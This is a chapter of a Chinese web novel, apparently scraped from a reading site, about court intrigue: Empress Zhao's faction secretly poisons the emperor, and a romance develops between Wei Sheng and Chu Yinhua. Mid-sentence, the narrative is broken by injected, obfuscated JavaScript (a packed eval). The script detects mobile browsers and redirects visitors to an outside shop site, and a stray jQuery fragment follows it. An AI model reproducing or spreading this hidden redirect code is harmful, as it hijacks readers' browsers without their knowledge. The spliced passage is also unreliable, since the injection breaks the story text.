当晚他就写了封信送到燕关。
次日无早朝,卫笙一大早就去赵府见了赵志地。
端的是情真意切,说的是感人肺腑,什么燕关面临风险,自己私下已与何家交谈,只要送了足够的补给过去,保住燕关,太子就能多一大助力尔尔。
天璇权贵盘根错节,赵家势力遍布较广,想办法派人给燕关送补给虽不算容易却也不难。
燕关虽草木凋敝,何家却是兵力强盛,若办件不大不小的事就能收买了,对他们来说倒是稳赚不赔。
赵志地当即同意,将卫笙送走后就安排下人去了。
赵家不知道怎么动的手,仅仅五日燕关就有了粮食,何锦激动地写信回来说要认卫笙当义兄。
有了赵家的补给,燕关百姓终于安稳了下来,何家也适时写了信让他们带回去给太子。
一连两月都安然无事,直到三月,陛下忽然生了大病。
这场病来的猝不及防,整个皇宫都乱成一锅粥了,所有太医看过都束手无策,憋半天只能说出个食物相冲,却都无法根治。
整个太医院可谓是进一个罚一个。
慕容异辰面色苍白,嘴唇因为刚吐血显得鲜红,怒道:“一群废物!太医院养你们干嘛的?”
底下的奴仆们跪地不敢吱声,太医们更是结结巴巴,跪在地上说能制出压制重病的药。
慕容异辰气急攻心,险些晕了过去,当即下旨将御膳房彻查一遍,一半的人被乱棍打死。
天子病倒了,底下的朝臣们却是乱心横起,慕容异辰才病十天,各皇子党就分了个清明,比起上辈子可快多了。
赵志地与楚镇云私下的来往越发密切,赵家甚至给楚镇云送了十几个姬妾示好。
听着收来的消息,卫笙心情很好的写了封信寄到岭郡,路途遥远,不知皇上病重的消息什么时候能传过去。
心情好着呢,就听到侍从的声音:“丞相大人,楚都督来了。”
来的巧了,卫笙带着笑意前去迎接,见他身旁跟着人,客气道:“都督请进。”
楚音华让跟来的人留在外面,自己单独跟着卫笙进了堂室。
一进去整个人都放松下来,坐在椅子上讨赏道:“阿笙,我今日可是光明正大进了门。”
卫笙眉眼含笑,揶揄出声:“怎么,都督是我光明正大给娶进来的?”
“我倒是想,就看阿笙同不同意了。”楚音华说着还将二人的头发各取一撮搅在一起。
看他搅的开心,卫笙抬手捏了下他取发那侧的耳朵,让人松手将头发解救出来,“我自然同意,只是陛下可不会同意。”
楚音华脱口而出:“那他早点死好了。”
怕他顺着继续说下去,卫笙问道:“今日可是带着人来的,没什么事要交代吗?”
“楚镇云与赵家勾结着,我这不是替他来勾结卫丞了吗。”
楚音华说的认真,还指了指门外,“那是我自己带的人,不是楚镇云的,我才不会带他的人进你府上。”
“不过我今日来这儿确实有事。”
他凑近一些,小声开口:“赵家已经许诺楚镇云,太子在五年之内一定会当上皇上。”
卫笙眼神呆滞,脑子嗡嗡的。
思绪翻飞间,他脸上的表情也变幻莫测起来:“也就是说,正德帝的病是他们掺和了。”
“很有可能。”楚音华轻声回复,“慕容异辰不是生病,是下毒,就是不知他们怎么做到的,让太医都看不出来。”
“那就要问后宫嫔妃了。”卫笙漫不经心道,“御膳房众人可不敢拿性命去赌。”
又笑着夸奖道:“倒是传了个大消息。”
听了好话,楚音华笑得更开心了,“那我是不是很有用?”
这人笑得没心没肺的,问出来的话却让卫笙再次沉默,他虽喜欢夸奖他,却不希望楚音华在自己这里以“有用”为标准。
卫笙走到楚音华面前,轻抚他的眼帘,柔声道:“音华最有用了,但我心悦你,所以在我这儿你有没有用都比别人更重要。”
他希望楚音华在他身边毫无负担,希望他自由,希望他快乐。
几乎脱口而出:“你不是我的盟友,你是我的心上人。”
楚音华愣愣地呆在原地,仿佛被人定住了,还以为自己藏的很好,没想到被人轻易挑破。
卫笙接着道:“阿音,我从不会拿你与其余人比较,你无需比任何人有用。”
见人还愣着,他嘴角微微上扬,露出一个无奈的微笑,蹲下身去面对面盯着他:“阿音知道心上人应该做些什么吗?”
看着主动凑上前来的人,楚音华失神片刻,问道:“应该做什么?”
“心上人当然什么都不用做,你只用被我喜欢就好了。”卫笙回答。
他仰头轻吻了一下楚音华的嘴角,趁人没反应过来,赶紧坐了回去。
刚还愣神的楚音华在唇角的温度消失后立刻清醒过来,“阿笙,你……”
卫笙捧着脸静静欣赏着,笑道:“我怎么啦?”
“等所有事情结束以后,我们会怎么样。”楚音华转口问他。
这是在求名分啊,卫笙想了想,回道:“到时候若你想为官做宰,我就继续当这个丞相,若你想归隐山林,我们就找个安静的地方度过余生。”
前世直至今日,楚音华第一次听到这么悦耳的声音,原来在卫笙的规划里,自己一直很重要。
长久的沉默过后,喉咙间哽咽的声音传来:“我没有想做的,无论阿笙想做什么,我都跟着。”
前世楚音华只想安安稳稳地活着,后来见了卫笙,见他在官场中沉浮,见他在乱世中守心,见他在无数重压之下挺直脊梁,他又希望面前的人能开心一些,再开心一些。
他现在只想让所有事都快点结束,让他的阿笙能真正的为自己活着。
听了他的回答,卫笙不带任何考虑道:“所有事情结束后,我于天璇而言就不重要了,只希望你能伴我左右。”
只要改变了前世的结局,天璇的任何人都不用生活在水深火热之中,到那时,如果还活着,他只想安安
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533506|203754||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
静静地待着。
满脑袋都装着最后一句话,楚音华连忙道好。
……
皇宫之中人人自危,未央宫中的皇后却百无聊赖地荡着秋千。
慕容寒立在一旁,冷声质问:“这件事,也是母后做的?”
说是因疑而问,其实已经猜到了大概,他只是来确认。
赵皇后没有立即回答,她在秋千上玩了一会儿才像终于看到来人般,缓慢地停了下来,脸上有了微妙的笑意。
“皇儿啊,怎么什么脏水都往母后这儿泼了呢。”
她微眯着眼睛,仰头享受着春日的阳光,“这么好的日子,偏来找晦气干嘛。”
慕容寒无可奈何地看着她,问道:“为什么这么做,母后?”
为什么这么做?
又是这句话,所有的愉悦瞬间消散,赵皇后睁眼看过去,过于激动导致双眼泛红,半是凄凉的眼神直看的人心惊。
她忽然大声质问:“那我还能怎么办!”
“我已经没有退路了,张家连连飞升,以后也会有更年轻貌美的女子出现,难道要等到慕容泰雪长大,等到他传位吗?”
一句话吼完,她缓了片刻,又变回慈祥温柔的母后:“寒儿啊,母后也是迫不得已。我不想再等下去了,这深宫我已经待厌了。”
不待慕容寒应答,她接着道:“也不能白费了雪儿的牺牲。”
听到慕容雪,慕容寒脸色骤变,嘴角抽搐:“你已经彻底疯了。”说完毫无留恋地转身离去。
在他走后,赵皇后重新荡起了秋千:“什么疯不疯的,傻皇儿。”
风从脸上经过,她忽然想到十几岁时荡秋千,脸上总被吹上几根发丝,荡一次秋千就要吃好多头发,但她还要玩。
那时候总想着以后要端庄一些,要有当家主母的风范,等成亲后将发髻梳上去就不会糊脸了。
十五岁嫁人后,天真烂漫未消,她仍旧会在空闲时间放风筝、荡秋千,那时候的慕容异辰连太子都不是,却会亲自叫人做一个精美的秋千来供她玩耍。
或许就是那些小事,让她越来越喜爱自己这个夫君,少女的真心总是容易被送出去。
但随着年岁渐长,她不再纵情于这些。掌管府上的各路开支与下人的任用让她着迷,她越来越沉浸在上位者的身份中无法自拔。
后来搬离宫殿,各色的玩乐也被抛之脑后,她只想为慕容异辰管理好后宫所有事务,想为赵家人谋些好差事。
在深宫中待了太久,她已经忘记当时风吹在脸上的感受了,或许是嫌风烦扰了妆容,又或许年轻的少女会喜欢轻风吹拂。
她荡了很久,夜幕降临,秋千上的人影才停了下来。不知想到了什么,她颤抖着左手摸上脸颊,今日未施粉黛,脸上的皱纹无不显示着岁月的无情。
眼角滑落一颗泪珠,毫无停留地,她仰起头将剩下的眼泪收了回去。
或许赵家小姐会因为容颜哭泣,但赵皇后永远不会为任何事哭泣。
所有事情她都能做,所有结果她都能承受。